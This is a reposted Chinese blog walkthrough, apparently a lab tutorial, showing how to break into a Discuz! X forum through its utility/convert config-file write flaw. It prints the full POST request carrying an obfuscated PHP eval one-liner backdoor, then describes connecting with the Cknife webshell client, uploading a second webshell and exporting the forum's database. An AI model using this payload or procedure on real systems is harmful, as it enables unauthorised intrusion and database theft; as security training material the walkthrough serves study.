Dizcuz!论坛攻击流程

Author Avatar
LittleBlack 2月 28, 2019
  • 在其它设备中阅读本文章

转载自SEO研究学会网,点击返回原文享受更佳阅读体验。

主要内容:

1.1 快速搭建discuz论坛

1.2 使用kali下BurpSuite对discuz后台注入php木马

1.3 使用Cknife“菜刀”上传webshell木马到网站

1.4 使用Webshell查看mysql数据库密码并盗取数据库

1.1 快速搭建discuz论坛

1.1.1 攻击思路

想要拿下一台主机A的权限:

1、了解一下这个服务器:端口,服务器版本,操作系统版本。找漏洞。

2、拿到对A有一定权限的身份。如果对方是一个WEB服务器,就利用对方网站应用程序的漏洞,上传webshell然后提权

3、传上去后,得到apache用户普通权限,再提权成root

1.1.2 快速构建实验环境

搭建一个LAMP环境。部署带有漏洞的discuz论坛

1、漏洞概述:

这漏洞出现在一个DZ X系列自带的转换工具里面。

漏洞路径:utility/convert/data/config.inc.php

漏洞发生的原因是:config.inc.php这个文件在黑客通过post写入时,无任何过滤检测,所以黑客可以通过post方式往config.inc.php中写木马程序。

触发漏洞过程:

1、在浏览器中访问打开 http://192.168.1.63/utility/convert/index.php

2、使用/utility/convert/index.php进行版本转换时,会自动创建utility/convert/data/config.inc.php文件。

3、config.inc.php文件没有做过滤,黑客可以使用post方法对config.inc.php注入木马程序

utility [ju:?t?l?ti] 效用

渗透思路:

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

我们把设置页面拉到最下面找到Network Proxy

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.2.1 在kali上使用burpsuite进行抓包

打开burpsuite。 brup [b?:p] 打嗝 ; suite [swi:t] 套件

实战|20分钟攻破DISCUZ论坛并盗取数据库

注:此窗口弹出的含意如下:

Burp Suite社区版

您的JRE似乎是来自Oracle公司的ll.0.3版本

Burp还没有在这个平台上进行全面测试,您可能会遇到问题。

experience [?k?sp??ri?ns] 经历

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

intercept [??nt??sept] 拦截 截听

浏览器进行操作抓包

在kali上,打开注入漏洞的地方:http://192.168.1.63/utility/convert/

实战|20分钟攻破DISCUZ论坛并盗取数据库

我们再回到web界面点击任意版本的开始按钮

实战|20分钟攻破DISCUZ论坛并盗取数据库

右键点击空白处,选择send to repeater 。 repeater [r??pi:t?(r)] 中继器

实战|20分钟攻破DISCUZ论坛并盗取数据库

下面我们来修改这个数据包,我们把我们需要修改的内容使用rz命令传到kali方便我们复制粘贴。

修改第一行:

GET /utility/convert/index.php?a=config&source=d7.2_x2.0 HTTP/1.1 

为:注意 POST后面没有回车 ,这里是文本显示自动换行了。

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig\[aaa%0a%0deval(CHR(101).CHR(118).CHR(97).CHR(108).CHR(40).CHR(34).CHR(36).CHR(95).CHR(80).CHR(79).CHR(83).CHR(84).CHR(91).CHR(99).CHR(93).CHR(59).CHR(34).CHR(41).CHR(59));//\]=aaaa&submit=yes HTTP/1.1  

注:这是一个php一句话木马加密后的内容。腾飞翻译后的内容为:

&newconfig\[aaa%0a%0deval("$_POST\[c\];");//\]=aaaa&submit=yes  

POST /utility/convert/index.php?a=config&source=d7.2_x2.0&newconfig\[aaa  

eval("$_POST\[c\];"););  

扩展eval()函数:

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行,一般情况下不建议使用容易被黑客利用。 evaluate [??v?ljue?t] 评价

eval("echo'hello world';"); 等同于下边的代码:

echo"hello world"; 在浏览器中都输出:hello world

修改完成后发送数据包

实战|20分钟攻破DISCUZ论坛并盗取数据库

可以看到和我们修改提交的参数类似。而且多了很多^M符号。

扩展:^M符号

^M字符的来历和作用:在DOS/Windows里,文本文件的换行符为\r\n,而在linux系统里则为\n,所以DOS/Windows里编辑过的文本文件到了linux里,每一行都多了个^M。所以^M只是一个换行符号,没有实际的用处,我们可以将它保留,也可以将它删除

%0a%0d等于\r\n

^M=\r换行符 只不过是windows里面的换行符罢了

1.3 使用Cknife“菜刀”上传webshell木马到网站

1.3.1 在xuegod63上配置java环境

搭建java环境

\[[email protected]~\]#yum install -y java

然后查看java版本

\[[email protected]~\]# java -version
openjdk version"1.8.0_201"

OpenJDK RuntimeEnvironment (build 1.8.0_201-b09)

OpenJDK 64-BitServer VM (build 25.201-b09, mixed mode)

我们在centos上面使用rz命令上传java版本的菜刀和我们后面需要的webshell2.php

\[[email protected]~\]# rz

按住ctrl +鼠标左键可以多选,我们选择Cknife.jar和webshell2.php

实战|20分钟攻破DISCUZ论坛并盗取数据库

排错:

如果打开程序后,看到是乱码的,我们更换一下皮肤即可解决乱码问题

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.3.2 使用菜刀连接discuz论坛上面的php后门程序

右键点击添加

实战|20分钟攻破DISCUZ论坛并盗取数据库

双击点开我们添加的地址

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.3.3 上传功能更强大的木马文件webshell2.php

注:这里需要上传到apache用户有写权限的目录中,因为安装过程中discuz需要管理员修改部分权限为apache用户,所以必然有可以上传文件的目录,我们可以直接上传到data目录下。

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.3.4 任意机器访问我们的webshell2.php木马文件

浏览器输入http://192.168.1.63/utility/convert/data/webshell2.php 输入密码:xuegod

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.4.2 导出数据库文件

实战|20分钟攻破DISCUZ论坛并盗取数据库

选中自己想下载的软件包,导出数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

1.4.3 下载数据库到本地

实战|20分钟攻破DISCUZ论坛并盗取数据库

实战|20分钟攻破DISCUZ论坛并盗取数据库

到这里就完成了。如果入侵的系统版本较低,我们我们就可以使用apache用户进行提权操作。届时我们就是root了

总结:

1 快速搭建discuz论坛

2 使用kali linux对discuz后台注入恶意代码

3 使用“菜刀”上传webshell木马

4 快速分析定位discuz配置文件并拿下数据库